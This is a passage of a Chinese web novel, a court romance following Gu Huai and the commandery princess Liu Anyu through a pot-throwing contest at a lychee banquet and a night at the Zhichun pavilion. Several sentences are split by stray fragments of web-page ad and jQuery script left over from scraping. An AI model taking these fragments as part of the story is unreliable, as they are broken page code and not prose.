她琥珀眸澄亮,直勾勾盯着顾淮的墨眸,探身过去,唇触碰杯缘骤然被烫了一下,显得唇瓣更加嫣红。 她就着顾淮的手,轻啜着茶,茶香萦绕在两人的呼吸之间,水雾模糊着两人的视线。 顾淮好似闻到了一抹荷花清香,迷离之间,他分不清是来自池中娇粉花苞,还是眼前,娇艳唇瓣上如脂冻般的口脂。 茶水烫得柳安予舌尖发麻,她便也没喝多少,琥珀色的眸子里染着迷离的水光,她仰头分了些距离,缓缓吐出一口热气。 “怎么?下了毒?”她轻笑。 顾淮怔愣片刻,像是终于忍不住了般,忽地敛颚笑了,他将茶杯转过来,对准柳安予刚才喝的地方灌了一口,滚烫的茶水从喉口一路灼到小腹。 方才柳安予蹭上的口脂沾到他的唇瓣,等他放下茶杯,唇色薄红,不知是烫的,还是染的。 他抬手展示茶杯里明显下去的一大截,缓缓勾唇,眼眸弯弯,“若是真的有毒,微臣愿陪郡主赴死。” 这话逗得柳安予发笑,红唇轻抿,眸中冰雪消融,染上星星点点的春光。 她反客为主,捻起银叉递出,上面是她刚刚咬过的半颗荔枝果肉,果肉白玉一般,犹如脂冻剔透晶莹,微微冰的果肉登时缓解了口腔内的灼热,顾淮垂眸低头咬住,眼底眸光微转。 “谢郡主。”他举手齐眉,恭恭敬敬地单膝跪下,额头触及台阶,手放于地面两旁,等他直起上身想再复礼,却蓦然发现眼前空无一人。 他错愕地环顾四周寻找着柳安予的身影,却只在屏风后面窥见一个顿停的背影。 “顾探花,投壶要开始了。”她眼睫低垂,眸中被激起极大的意兴,唇角一勾轻言。 青荷和樱桃不敢多言,恭敬低头陪在她身侧,风渐嚣,天色明朗。 今天真是一日好晴。 等顾淮跟上,来到四宜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 园的北面,柳安予已经端坐在长公主身侧,好似方才什么事情都没有发生,只是顾淮白日的一场幻梦。 柳安予侧头陪着长公主说话,注意到这边的动静,随意地抬起眸子。两人的目光在空中交汇,片刻,柳安予抿唇露出一抹不易察觉的笑容,她伸手点了点唇。 顾淮错愕,猛然想起什么,背过身去慌乱去擦掉唇瓣上的口脂。 等人再转过来,柳安予的目光已经不在这边了,掩帕轻笑不知是被长公主什么话吸引了注意,只得留他一人耳根通红。 顾淮跟在柳安予后头,是最后一个来的,公子中几个同他关系好的注意到,连忙招呼他过来。 既是投壶,自然是有人比赛,有人给彩头。 长公主财大气粗,挥挥手,叫人端出了十二件珊瑚镶碧玺的奇珍,吊足了大家的胃口。 顾淮合袖站在队伍最外面,看起来没有参加的欲望。 柳安予眸底流转,拉了拉长公主的衣袖,声音清脆,“殿下,我也想添个彩头。” 长公主喜出望外,以为柳安予终于松了口,自然满口答应。 “只是,我临时起意,不曾有所准备。”她话锋一转,抿唇好像在沉思,转头眨了眨眼悦色道:“有了,我府中有一处景,京中无处可闻。阿父前年自边疆凯旋,带了一袋子昙花花种,尽数种在我的园子中。” “月朗星稀之际,转瞬即开,瓣白若月皎洁,冰清玉洁不染尘。”柳安予挑眉,面若含冰,眸若星河,缓言低语像在蛊惑,“谁拔得头筹,我便邀他一赏。” 这下人群都激动起来,对此心动的的人不少。美景、美人、美物,惹得底下窃窃私语,就连旁边的女眷都跃跃欲试。 顾淮终于感兴趣地抬起头,从边缘移到前面,不着痕迹地看了柳安予一眼。 柳安予却再没看他。 “顾探花。”突然,一道甜嗲的声音响起。 顾淮顺着声音看过去,只见李淑宜捏着一方粉帕子,表情羞涩,“顾探花也是想参加吗?我们一组......如何?” “好啊。”顾淮眼睛笑眯眯的,一口答应下来。 没想到顾淮答应得这么快,李淑宜错愕地眨了眨眼睛,顿时喜出望外。 那边掌事姑姑还在统算人数,一组组过去的,大多是公子与公子,亦或小姐与小姐,独李淑宜、顾淮这一组,是小姐与公子。 掌事姑姑诧异了一瞬,却还是礼貌问道:“你们要组成一组?” “是。”李淑宜红着脸小声道。 顾淮也点点头,声音很温柔,一本正经地说着,“正是,六公主殿下相邀,臣不敢不从。想必殿下对自己的实力应是胸有成竹,那我们便比个难些的,双凤朝阳如何?” 双凤朝阳是投壶的一种,将壶横架在高柱之上,二人并立,一人执两箭同时送出。射入中壶者为“正入”,左右耳者为“偏山”,不入壶则无算。 掌事姑姑了然,点点头记下。 “不,不是?”李淑宜顿时傻了眼。 5. 05 荔枝宴 她以为的一组,是和顾淮当队友,谁料顾淮拿她当对手。 李淑宜还想解释,只见顾淮眉心微蹙看向自己,喉结滚动,眸中水光盈盈,“殿下不是这个意思吗?” ?李淑宜眨眨眼,咽了咽口水,鬼使神差地点头,“是,我就是这个意思!” 顾淮眉眼如削,温温柔柔地从嘴角漾出一抹笑,一身靛蓝竹绣交领袍映着春晖,腰间佩玉华光流转,声音轻浅,“那便如此罢,姑姑可记好了?” “记好了。”掌事姑姑点点头。 话音刚落,顾淮颔首转身便走。李淑宜还沉浸在方才那抹笑中,痴痴站了一会儿,等回过神发现身边早已没了顾淮的身影,急忙提起裙摆跟了上去。 柏青不知什么时候站到顾淮身侧,见李淑宜凑过来,连忙站在二人中间将两人隔开。 顾淮清瘦,被柏青挡了个严严实实。李淑宜见不到人,着急地踮起脚,伸脖子看。见实在越不过柏青,便狠狠地瞪了他一眼,站直了身子又故作温柔。 “顾探花......”李淑宜害羞低头,扭捏地拧着帕子,轻声细语地叫着顾淮,“我不太会投壶,顾探花,教教我可好?” “咳咳......”顾淮毫无征兆地咳了起来,听得李淑宜心颤颤,却被柏青拦着,什么也看不见。 “六殿下,咳咳......微臣方才坐在风口,好像,着了凉。咳咳,殿下您躲着臣些,臣恐将病气染给您。”顾淮的声音听起来虚弱极了,又像是在隐忍,温声细语地哄着人说话,给李淑宜哄得晕头转向,“六殿下,咳咳咳,您先到那边等着微臣好不好?过会子掌事叫了,微臣自会去寻您。” “好,那好。那你好好休息啊,千万不要逞强。”李淑宜被顾淮三言两语轰走,还担忧得一步三回头。 柏青看了看依依不舍的李淑宜,转过身看见自家公子端着茶杯,喝急了正呛得咳嗽,顿时仰天感叹。 可怜的六公主,被顾淮玩弄在股掌之间。 投壶比得很快,掌事姑姑叫到顾淮名字时,茶方见底。 李淑宜款款走过,眼神却忍不住往顾淮身上飘,她那一声娇娇柔柔的“顾探花”还未说出口,司射便宣布开始。 顾淮一个眼神都未吝啬,双手执箭紧盯目标,看似平静的眸底波涛汹涌,像伺机的豹对猎物的势在必得。 咻咻两声,李淑宜这边还没反应过来,顾淮已得偏山。 “顾成玉,双耳,六筹——” 坏了,这是真想来比的。 李淑宜脑子一下子清醒了,她压下悸动,看了看手上的箭,眼中终于露出了一丝慌乱。 她学着顾淮的样子紧张地举起箭,咻咻两声,只听司射迟疑片刻,朗声报道:“李淑宜,未入壶,无筹——” 哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈...... 顿时哄堂大笑。 不敢出头的,就只能忍笑小声议论,有背景的,尤其是平日最看不惯李淑宜的那些,恨不得指着她的鼻子笑,臊得李淑宜自脸颊红到耳朵尖。 身后声音嘈杂,笑声和议论声此起彼伏。明明声音也不算大,偏得这功夫李淑宜的耳朵灵敏起来,每一个字都被她放大,像细细密密的针扎在脊梁,羞得她攥着箭的手越来越紧。 李淑宜紧咬下唇,脸色惨白,她看了看坐得气定神闲的柳安予,强烈的羞愧感涌上心头。 “我......我认输行了吧。”提前认输,总好过让人杀得片甲不留,沦为更大的笑柄。 李淑宜眼眶通红,故作镇定地将箭递给司射,转身却气得直掉眼泪,逃也似地离开。长公主面上看不出什么,还打发掌事姑姑过去安慰,心里却是早就乐开了花。 “这下她回去,皇后可有的恼了。”长公主幸灾乐祸,撇撇嘴暗翻了个白眼,“嘁,小家子气。” 柳安予眼观鼻鼻观心,眸中意味不明,没有言语。 她一走,旁人便也不好背后议论,很快便被其他比赛的人吸引。李淑宜看着场上热闹,愤愤擦去脸颊上的泪,眸子阴暗淬了毒一般,死死盯着顾淮的侧脸。 小插曲很快过去,有了李淑宜的主动弃权,顾淮不费吹灰之力便站到了第二局。每组的胜者站成一排,大家都在不动声色地打量周遭,想找一个称心如意的对手。 顾淮眉目温润柔和,抿唇有些人畜无害。因着他现在身份敏感,一般人不敢与他过多接触,便一个人孤零零合袖站在那里,显得颇为可怜。 倏然身边靠了人来,墨绿色压暗纹绣云的袍子,腰上系着丝帛的带子,衔着错金几何纹带钩,容貌俊美,气质卓然。 “大皇子殿下,您怎的也来了。”顾淮看起来有些意外,拱手行了礼言罢。 大皇子李璟曾在左丞家塾中习过半月,与顾淮也算相识一场,便特地过来打声招呼。 “姑姑的奇珍我也不曾见过,你也知道,我素来最爱收集些稀奇古怪的小玩意儿,便想着来试试看。”他低头又想了想,谦虚笑笑道:“就是不能拔得头筹,能一睹风采也是好的。” 李璟言罢,深邃的眼睛微微颤闪,抬眸掠过柳安予的位置,再转过来,眼底便洋溢着莫名的欢欣。 他说的话,顾淮一个字都不信。 他爱收集些稀奇古怪的小玩意儿不假,可单是为了奇珍异宝来,却显得刻意了。长公主是他亲姑姑,素来对他可亲,有什么好东西都先可着他看,怎可能未见过? 顾淮敛眸眼底波光流转,倒是没有戳穿他。 “对了,安乐妹妹的昙花景也是难得一见。”李璟状似无意提起,余光却紧紧贴在顾淮脸上,不放过他一分一毫的表情变化,“成玉,若是你拔得头筹,瞧完了景,定要回来同我仔细学学。” 顾淮面上不见异色,一抹浅笑如沐春风,说话滴水不露,“既是有您出马,哪里还轮得上微臣?”他手中折扇一展,腕子轻摇带起微风,扇得鬓边碎发飘飘。 李璟听完哈哈大笑,他拍了拍顾淮的肩膀,指着他说,“好啊你,现在也学着说这些捧话了。” “旁的我不说,你方才一个双耳给六妹妹都吓坏了,她平日娇纵惯了,最好面子。先前我瞧着她对你还算热切,如此一来,想必是不会再给你好脸色了。”李璟得到了还算满意的答案,倒也放下心防,真同顾淮闲聊了起来。 顾淮哪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 管这些,本就是故意耍她,一是为了摆脱她的纠缠,二便是隐藏实力。双耳虽得了六筹,于双凤朝阳的投壶规则来说,却是“偏山”,比不上射入中壶的“正入”。 更何况李淑宜弃权得早,只一局,自然看不出什么名堂。 旁的人看他,便也是只知他投壶技术不错,却不知他到底“不错”到何种程度。 一提起李淑宜,顾淮便烦得头痛,却还是故作懊恼地回应,“微臣哪里知道六殿下......唉,六殿下主动相邀,微臣还以为六殿下是胸有成竹,自然不敢松懈。过会子比完了,微臣定会去负荆请罪。” “跟小姑娘比,自然还是要留几分。小姑娘家家面子薄,难免怪你,不过你放心,回头我让侍卫去送个胭脂水粉什么的小玩意儿,就说是你赔罪,哄一哄应该就好了。”李璟热心肠地建议道,听得顾淮眼皮一跳一跳。 “倒也不必!”顾淮嘴比脑快,连忙拦下他的破念头。 李璟一顿,蹙眉疑惑地看着他。 “......这赔罪,自然是微臣亲自去比较有诚意......哈。”顾淮言罢,又迟疑着开口,“再者说,送胭脂水粉太亲近,若是叫旁人误会可就不好了。” “误会?”李璟惊讶,“你难道对六妹妹无意?!” 坏了,到底是哪里传出的假消息。 顾淮眸中情绪复杂,他扯了下唇,疑惑发问,“殿下何从觉得我对六殿下有意?” 李璟顿时变得支支吾吾起来,他眼神漂移,拉着他蹙眉压低声音,“自你来宴上便都这么说了,那名单上没你,皇后特意加上是也不是?” 一瞧顾淮怔然的样子,李璟便知道自己说对了,见此,他眉心蹙得更深,“六妹妹来时特意提的。你近来在公主里头炙手可热,想给你‘雪中送炭’的人,不少。你向来洁身自好,既是公然牵连上了,我便以为是你默许的,如今看来,竟不是?” “自然不是!”顾淮暗暗咬牙切齿,他只顾得能不能进来,竟差点被皇后暗算。 不知道,柳安予听了消息会怎么想? 顾淮脸色难看,见此,李璟便也不好再多说。 “成了,不多叙了,那边快到我了。”李璟安慰似地拍拍顾淮,欲言又止,“你......唉,你且宽心,既没有这回事儿,我便也不再提了。” 顾淮拱手又行了礼,眼中情绪掩在平静无波的眸中。 他精心算计,差点让一个六公主毁于一旦。 顾淮肩背笔直,如松如竹,内勾外翘的瑞凤眼半敛,将身子转向场上,看似专注,脑中却在不断思考。 必须尽快采取措施,和六公主划清界限。 柳安予半靠着软绒垫子,神情淡漠的脸上,偶尔掠过一缕意兴,她若有所思地盯着顾淮眼下那一点痣,蓦然莞尔。 长公主仔细注意到,笑着好奇打趣,“瞧见什么了,这么开心?” “有只小猫捕猎呢。”柳安予手指轻轻梳理着发丝,浅笑着轻描淡写地揭过,“以为自己势在必得,怪可爱的。” 长公主东瞅瞅西瞧瞧,没见到什么猫,以为是跑没影了,只得嘟囔一句作罢。 6. 06 荔枝宴 柳安予猜过顾淮投壶厉害,却不知厉害到如此地步。 站到第二局的共五十四人,三两个一组比出胜者,如此反复,直到最后一局。 只剩李璟和顾淮并肩站在场上。 柳安予慢条斯理地喝着茶,捻着瓷盖刮去茶沫,抬眸打量着二人。 “成玉,你骗我?”李璟诧异。 顾淮照旧笑着道:“殿下这是哪里话,微臣好运气罢了。” 好一个运气。 李璟眸中情绪复杂,从腕上摘下一条迦南香带珠宝喜字纹手串,用指腹轻轻捻着,“运气?”他笑了笑,“你想怎么比?” “微臣愚钝,不如还是‘双凤朝阳式’?共投三局,筹数较多者胜。”顾淮笑容浅淡。 他第一局便是如此赢的李淑宜,可李璟不是李淑宜,他投壶没那么烂。 李璟一口答应下来,垂眸把手串再戴回手腕,指腹摩挲过手串上一颗紫金砂的珠子。 反正比什么,都是一样的。 倏然,一道清冷婉转的声音响起,众人顺着声音看去,只见柳安予唇角微笑弧度渐深,眼尾微微上扬。 “殿下,我瞧着蛮有意思,不如我来替司射罢。”她一双琥珀眸顾盼生辉,语调轻微,伸手拽住长公主殿下的衣袖。 长公主少有拒绝,挥挥手便让她去了。 李璟、顾淮二人眸子热切,紧紧盯着款款走来的柳安予,一颦一笑,一举一动,都不曾放过。 “两位,介不介意我来凑个热闹?”柳安予问道。 “自然不介意。”李璟抢先一步回应,眼神一刻不错。 顾淮晚了一步,眸光微暗没有开口。 柳安予笑笑没再说话,只侧头看了青荷一眼,身侧便备好了椅子,无需柳安予多言,青荷早早便备好软垫让她靠着。 樱桃在一旁躬身,低眉奉茶。 “开始罢。” 李璟和顾淮对视一眼,针尖对麦芒一般,眼中的势在必得不加掩饰,围观的人顿时噤声。 “李修常,双耳,得六筹。”随着柳安予的声音响起,场边顿时惊呼起来。 只见两只箭准确无误地插入两侧壶耳。 “我就说,大殿下乃是习武之人,区区投壶......老天奶啊......” 那人话音未落,便瞪大眼睛看向顾淮,柳安予挑了挑眉,慢条斯理地报着数,“顾成玉,有初,得十筹。” 首箭便入壶中者,谓之有初,得十筹。 “你第一局,果然隐藏了实力。”李璟并不惊讶。 “运气,运气罢了。”顾淮唇角得意地笑着,不像嘴上说得那么谦虚。 李璟攥紧手中的箭,紧盯目标。 只听咻咻两声,“李修常,连中双贯耳,得十一筹。” 连中得五筹,双贯耳得六筹,加之共有十一筹。如此一来,李璟便打破了第一局的劣势。 “嚯!这一下子便追上来了,顾淮这局投什么?他第一局已经投进,此局连中算五筹、双耳算六筹,无论如何也是反超不了的。”后面的人蹙眉替顾淮愁道。 “还是投双耳罢,不至于输得太难看。”旁边的人叹气道。 “你以为双耳那么好投?壶拢共就那么大一点,还悬于高柱之上,壶耳两边都被大殿下的箭塞得差不多了,只那一点点的缝隙,如何能投进?”那人话音刚落,只听柳安予那边轻笑一声,“顾成玉,连中,得五筹。” 气得后面的人直拍大腿。 最后一局,李璟再次捻起两支箭,深呼吸一口气,对准壶耳。这次用的时间比前两次长得多,他还想再投一次双耳。 场上大气都不敢喘一声,李璟全神贯注,壶耳那两处狭窄缝隙在李璟眼中无限放大,他手腕一动,将两支箭托送出去,箭头擦着缝隙一歪。 “进了!进了!!!” “李修常,连中双贯耳,得十一筹。” 身后顿时欢呼起来,壶耳狭窄,此时已被李璟的箭占得严严实实。 至此,李璟已领先顾淮十三筹。 欢呼声不绝于耳,众人已经开始为李璟庆祝,只有柳安予气定神闲地喝着茶,悠悠将目光投在顾淮身上。 顾淮站在场上,身后热闹嘈杂没有人是为他,一阵微风轻轻吹过掀起他的衣袂,风停刹那,他投出最后一箭。 欢呼声中倏然出现一句,压住了所有的喧嚣。 “顾成玉,全壶,得二十筹。” 众人噤声。 第二局不投壶耳投壶中,就是为了此刻做铺垫—— 在投壶中,每局都中中壶者,谓之全壶,得二十筹。 骤然噤声的人群,突然爆出一声震天响的欢呼。 柳安予搭着青荷的手站起身来,一双明亮的琥珀眸直勾勾地盯着他,拈花似笑非笑,语气暧昧道:“恭喜顾探花,拔得头筹。” 她顿了顿,眼尾微挑,“明日戌时,我府后知春亭,静待公子。” “微臣荣幸。”顾淮瑞凤目敛了敛,躬身垂首浅笑。 柳安予微微颔首,露出一截白玉似的脖颈,拂袖转身正打算离去。 “安乐妹妹!”李璟下意识焦急叫住她,回过神对上柳安予的眸子,便又局促起来。 柳安予顿了顿,转过头似笑非笑地抬眸,“修常,怎么了?”仿佛一眼就能将他看透。 李璟喉咙上下滚动,紧张到不敢看她,连忙拱手,“我,我......”他涨得脸通红,“我也......” “大殿下。”顾淮紧着几步走上前,微一颔首,笑开了道:“微臣知道,殿下您对那十二件奇珍颇为感兴趣,便冒昧一次,借花献佛,借与您瞧上几日,喜欢够了再还臣也不是不行。” “不是......”李璟错愕想要解释,眸子焦急地看向柳安予,“我......” “欸,殿下,您跟微臣客气什么。”顾淮一个箭步挡在李璟面前,身姿板正,笑得人畜无害,将柳安予挡得严严实实。 “不是,你别拦我。”李璟左右撤步想要跟柳安予说几句话,却被顾淮亦步亦趋地挡着,见柳安予转身走得飞快便更加焦急,踮起脚叫,“安乐!安乐妹妹!安乐——” 顾淮折扇啪嗒一声展开,直接将李璟的视线遮住,皮笑肉不笑地故作温和,“殿下,天热,微臣给您扇扇风。” * 月明星稀,一轮弯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 月从层层叠叠的云间,探出头来,给夜景披上一层薄纱。 月光洒在园中水潭中,粼粼水面泛起波澜,将月影搅碎散落,像琉璃在阳光下熠熠生辉的样子。却又没有阳光那么刺眼,温润的、平静的,映着夜空闪烁的星月。 岸上泥土湿润,带着一股花的清香。 湖上架起一座宽桥,宽桥上有一亭,题了“知春”二字。 进了亭子,才知这二字的巧。 圆湖周围栽满了花草,高大的桃树和花丛错落,还未谢尽的桃花倚在枝头,风一过,便簌簌摇曳飘落。春日到,此处先知晓,才是谓“知春”。 花瓣落在花丛上添了几分娇色,轻一点的便被吹到湖面上,泛起点点涟漪,将夜景搅落成细碎的星光,一圈一圈泛出去,力尽之时,沉寂在湖水里。 昙花,便被种在亭子的对面,那里有墙檐和树枝遮着,避光。 昙花花苞慢慢朝上,月光渐渐为其渡上一层朦胧。 还有一个时辰,就要开花了。 柳安予命人备了晚膳摆在知春亭中,两边围了纱幔挡风,一袭秋香色绫锦裙,眸色微暗。 微寒的夜风吹起掀起纱幔,小炉子咕噜噜翻滚着热汤,白色的水雾升腾而起。 顾淮来时,正巧瞥见飞起纱幔中,渐渐勾勒出的清晰人影。 他用折扇拨开层层叠叠的纱幔,与亭中端坐的佳人对视。 她仰起头,碎发随意扫在骨骼分明的下颌,一股奇异的感觉涌上心头。 公子挑起飞舞的纱幔,微弯着腰,眼睫低垂,影子扫在他眼下那一颗精巧的小痣上。 “郡主,微臣来得不算迟罢?”他讨巧地笑笑。 探身进来,轻薄的纱幔拂过他的肩膀,迎着待他落座。 他唇边盈着温和从容的笑意,好似春风拂面,只听柳安予一声短促的轻笑,帕子掩唇,歪头眨着透亮摄人的琥珀眸子。 “我要说算呢?嗯?”柳安予故意逗他,眸子亮晶晶的轻嗯一声,语调轻扬。 顾淮无奈摊手,只能摇头故作懊恼,扇砸手心,“那没办法了,微臣罪该万死,正巧这有湖,索性臣投了湖去,以死谢罪......”只听他越说越过分,姿势夸张,说得绘声绘色。 柳安予被逗得勾了勾唇角。 “顾成玉,你真的是个很有意思的人。”柳安予一字一顿缓缓道,带着未敛起的笑意和一抹认真。 顾淮倏然停下,抬眸看去,和她的直勾勾地、带有极强侵略感的目光相撞,只觉得那清浅的眸子攒着浩瀚星河,深邃神秘,探去眸底却是万丈深渊,想要将他拆骨吞腹、拽入深渊。 顾淮盯着她眸子,作笑的声音骤停,两人对视了良久良久,顾淮才蓦然回神,惊慌失措地移开眸子。 他腾得一下站起来,掩饰似地撇开目光,“郡主,微臣,微臣为您盛汤。” “等等!”柳安予紧急叫停,却没拦住顾淮,小炉边缘火烧一般,疼痛感骤然从他指尖舔舐上来,他下意识短促地“啊”了一声,向后退去。 柳安予想去抓他的手,不成想这时他正好退开,却因惯性已经收不回手。 柳安予眸中闪过一丝幽光。 7. 07 知春亭 眼见着柳安予娇嫩的指腹要触及滚烫的炉边,几乎是下意识的举动,顾淮抓向她的手。 骨节分明的大手包裹住她的纤纤玉指,手背触及炉边,呲呲的声音骤然响起,灼烧感刺激着他的感官,他愈发攥紧她的手,本能地向后撤去逃离。 慌乱之际,顾淮不小心踩住柳安予的裙摆,两人向后倒去。 穿过纱幔,巨大的失重感将两人吞噬,柳安予下意识抱紧顾淮,双双坠入湖中。 扑通一声,平静的湖面泛起阵阵波澜,月影被破坏得不成形状。 夜间的湖水是彻骨的寒凉,水灌进耳朵、口腔,窒息感扼在喉口。 她会凫水,但突如其来的状况让她来不及反应,她紧闭双眼,屏住呼吸,手无意识地乱抓。 薄红的嘴唇吐出气泡,砸在顾淮鼻尖,他拉住了她的手,十指暧昧相扣,稍一用力便将人拉入怀中。 像一个火炉。 柳安予想着,另一只手攀上他的胸膛,两具身躯在冰冷的湖水中紧靠,四肢逐渐回温。 唇瓣覆上柔软。 气息,不断渡过来。 牙齿间的碰撞在不熟练的吻中接连响起,他们抱得越来越紧,仿佛要将对方嵌入骨髓。 顾淮不敢逾越,渡完气便低垂着眸想要分离。 她狠狠咬住了他的唇。 血腥味在唇齿间弥漫开,柳安予睁开眼睛,一双琥珀般浅淡剔透的眸子暗了暗,染上迷离的水光,眼尾薄红。 她冷得下颌紧绷,却伸手扣住他的后脑,将人拉近。 不是单纯的渡气,她的吻越来越炽热,直勾勾盯着他眼下性感的小痣,温濡湿润的舌尖缠绕摩挲,顾淮理智被冰冷的湖水淹没,濒死感和暧昧交织,脑袋逐渐发昏。 他双目紧阖,唇齿间轻舔慢咬,隔着湿透的衣裳拥抱共享着余温,“嗯~”他短促地呼吸被灌了一口湖水。 柳安予以为他要窒息,毫不留恋地与他的唇分离,松开了与他相扣的手指。 他以为,她要放弃他了。 顾淮蹬了两下水,半阖眸子往上移了些距离,恍惚间看到了柳安予游近,揽住了他的腰身。 他又闭上眼,四肢放缓。 柳安予将顾淮的手臂搭在自己的肩上,没有看到顾淮的神色,目及水岸,像入水的鱼儿灵活地向上游动。 湖水被推出波纹,那波纹渐渐扩大,中心溅出水花。柳安予从水中探出,水珠如掉了线的珍珠,从她的发丝往下掉落,滑过她白瓷一般的肌肤。 她大口大口地汲取着空气,费力将顾淮拖近岸边。顾淮的意识渐渐回笼,用手明显笨拙地拨开水花,好让柳安予省一些力。 两人爬到岸上。 湿润的泥土沾染袍子,两人仰躺在地上,大口大口地呼吸,有一种劫后余生般的快感。 上空繁星漫天,一轮弯月如化开的光晕,静静撒在两人身上,水渍被照得晶莹。 一股清香萦绕在鼻尖,柳安予看向顾淮的方向,呼吸凌乱,“......昙花,要开了。” 顾淮下意识顺着方向看去,没有人说话,两个人都静静地看着昙花花苞朝上空慢慢的、慢慢的移动,花苞越来越鼓胀,层层叠叠如同舞女的裙摆。 一阵风吹过来让两人打了个寒噤。 花开了。 一瓣一瓣,昙花接连开放,如炸开的烟花般灿烂,月华凝在薄如蝉翼的洁白花瓣上,嫩黄色的花蕊丝丝缕缕,像上好的丝帛上绣的图样。 寂寞花神漏夜开,犹如月下美人来。 顾淮转过头看柳安予,月光为她披上一层薄纱,身上秋香色凌锦裙已经湿透勾勒出她匀称纤瘦的身躯,月光下瓷白一样的肌肤,整个人美得失真。 “......月下美人。”他敛眸不敢多视,声音轻哑感叹。 柳安予以为顾淮说的昙花。 她伸手将湿发撩到耳后,半撑起身子,眸中满是昙花影,感叹,“的确,不负盛名。” 顾淮敛颚轻笑,没有解释,“嗯,不负盛名。” 晚风吹得人很冷,两人回了知春亭,围在火炉边暖身子。青荷怕柳安予晚上冷,特意备了一件厚绒毯子放在一旁,两人裹着绒毯靠得很近,呼吸声交错缠绵。 “顾淮。”柳安予一仰头,温热的气息撒在顾淮脸上,鼻尖轻碰,她一错愕,又转开脸轻声问道,“你,疼不疼?” “嗯?”顾淮耳根瞬间爆红,错开眸子撇向火炉,下意识抚上唇瓣伤口,“不,不疼,我......” 柳安予突然低下头去,肩膀颤抖,顾淮忍不住看过去,却发现她唇角笑漪轻牵。 “我问的手。”她眼中带着明显的调笑,眼尾微扬。 顾淮这才反应过来,她语意不明的故意引导,可能也是自觉迟钝,他莫名被戳中笑点,低头无声地笑。 他伸出手,上面被烫得起了水泡,斑驳的红色显得有些可怖。 柳安予轻轻握住他的手,额头碎发上的一颗晶莹水珠掉在她的鼻尖,再滑落掉在他手上。 像泪珠,但顾淮知道,柳安予不可能为了自己哭。 “不疼。”顾淮瑟缩一下,轻声道。 “你是故意的,要我心疼?”她明明是问句,语气却肯定,她抬眸轻颤睫羽,沉静的眸子已经没有了情欲,目光如炬,眉眼清冷。 她早就看透了顾淮的心机与示弱,只是她纵容,她允许,她对眼前这人感兴趣。 她想知道他究竟能装到何种地步? 但顾淮完全没有被揭穿的心虚,他垂眸用那只受伤的手反牵住柳安予,轻轻将她的手拉起来贴在脸颊,湿漉漉的额发在眉间轻荡,眼尾薄红。 湖水湿润了他的睫羽,整个人像哭过一场,微微咬唇敛眸轻蹭,可怜见地模样。 “郡主,微臣只是,心悦你。”他嗓音轻哑,一字一顿,他嘴唇冻成极浅极浅的粉白,唇下一抹伤口带着刺眼的血红,瑞凤眸深情如许。 明知是谎。 柳安予看着他的眸子,目光掠过他纤长卷翘的睫毛,眸色如墨晕染开的一般,眼尾薄红,含情脉脉—— 他怎能装得如此像? 檀口微张,她的手抚上他唇瓣的伤。 她稍 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 用力地按过,看他脸色瞬间苍白,嘴唇轻颤,莫名露出几分凄楚,柳安予像被取悦一般。 她语调轻扬,用仅两个人才能听到的声音道:“顾成玉,你装得真像。” 她怜惜似地勾起他的下巴,看他紧张到喉结上下滚动,下颌线条紧绷。 “我知道你想要什么。”柳安予轻声细语,声音蛊人,“不过是一个顺理成章入朝的机会,你想要,本郡主给你便是。” 顾淮的眸子瞬间亮了亮,像看见小鱼干的狸猫。 柳安予像是被取悦了一般。 “只是,你这点诚意,可还不够。”她染了蔻丹的指尖点了点他的唇,一路向下滑,落至他的小腹骤停,缓缓拿指甲打圈,带起一阵痒意。 她语调轻微,笑意却不达眼底,“不是说,心悦于我吗?我也不苛求你。翰林学士方信,他夫人极爱玉兰,却惜四月尽、玉兰凋,时常哭泣。” “他便用尽浑身解数,四处搜罗顶尖花匠,终于培育出满京城唯一一株五月广玉兰。” “你若真心,便求来那株玉兰,连着你的聘礼一同带到长公主面前。”她一双琥珀眸含尽春水,勾人而不自知。 翰林学士,号称“内相”,顾淮探花授命入翰林,便是归翰林学士所管,其实权相当于丞相。 方信与左相乃同门师兄弟,却并不亲近,方信在朝上的策论常常与左相相悖,其人激进,左相迂回,便回回吵得不可开交。 顾淮是左相的得意弟子,如今左相禁足,方信不知道有多高兴,又怎会轻易帮顾淮? 柳安予嘴上说不苛求,实则出了一个天大的难题。 顾淮默了默。 就在柳安予以为顾淮要知难而退之时,顾淮开了口。 “那就,一言为定。”顾淮眸中认真,伸出小拇指弯了弯。 幼稚。 柳安予这样想着,却鬼使神差也伸了手,两人的小指缠绕在一起,一股异样的感觉从心里泛出。 痒痒的,她不喜欢。 “拉钩上吊,一百年不许变。”顾淮声音轻轻的,像小羽毛在挠着她的掌心。 柳安予打小便不理解,拉钩为什么要上吊,以及这种毫无保障的许诺方式,到底有什么意义。 但此刻,她有点想相信。 拉了勾,就不要反悔。 两个心怀鬼胎却又忍不住靠近的人,围在同一条绒毯里,月光星光撒在他们身上,微风轻轻吹起纱幔。 他们勾勾手,用最幼稚的、最不可信的方式,短暂地放下心防。 * “殿下,衢州的那批货,到了。” 四面窗子紧闭,烛台散发出微弱的光,仅仅能照亮书案上的薄薄的一张纸。 上座坐着一个人,一身宝蓝色鼠灰袍,半个身子陷在黑暗里,手指轻叩书案。 突然,他手一停,伸手扭了扭大拇指上的翡翠扳指,指腹缓缓摩挲。 “不要留,既然江州盯得紧......那就剑走偏锋,往京城里送。”一声沉闷的粗糙声音响起。 “是。”暗卫再次隐入黑暗之中。 8. 08 知春亭 坤宁宫中。 “呜呜呜......”李淑宜伏在皇后的膝上哭得伤心,“他,他怎么能这么对我呜呜......” 皇后的脸色也很难看,顾淮低声下气来求的荔枝宴名额,若没有她,顾淮哪有机会在荔枝宴上出尽了风头?不紧赶着讨好李淑宜,还让李淑宜在那么多人面前出丑。 皇后气得牙痒痒,却忘了自己是怎么叮嘱的李淑宜,让她特地在众人面前亲手添上顾淮的名字,旁人问起回答的模棱两可,就是为了让人误会。 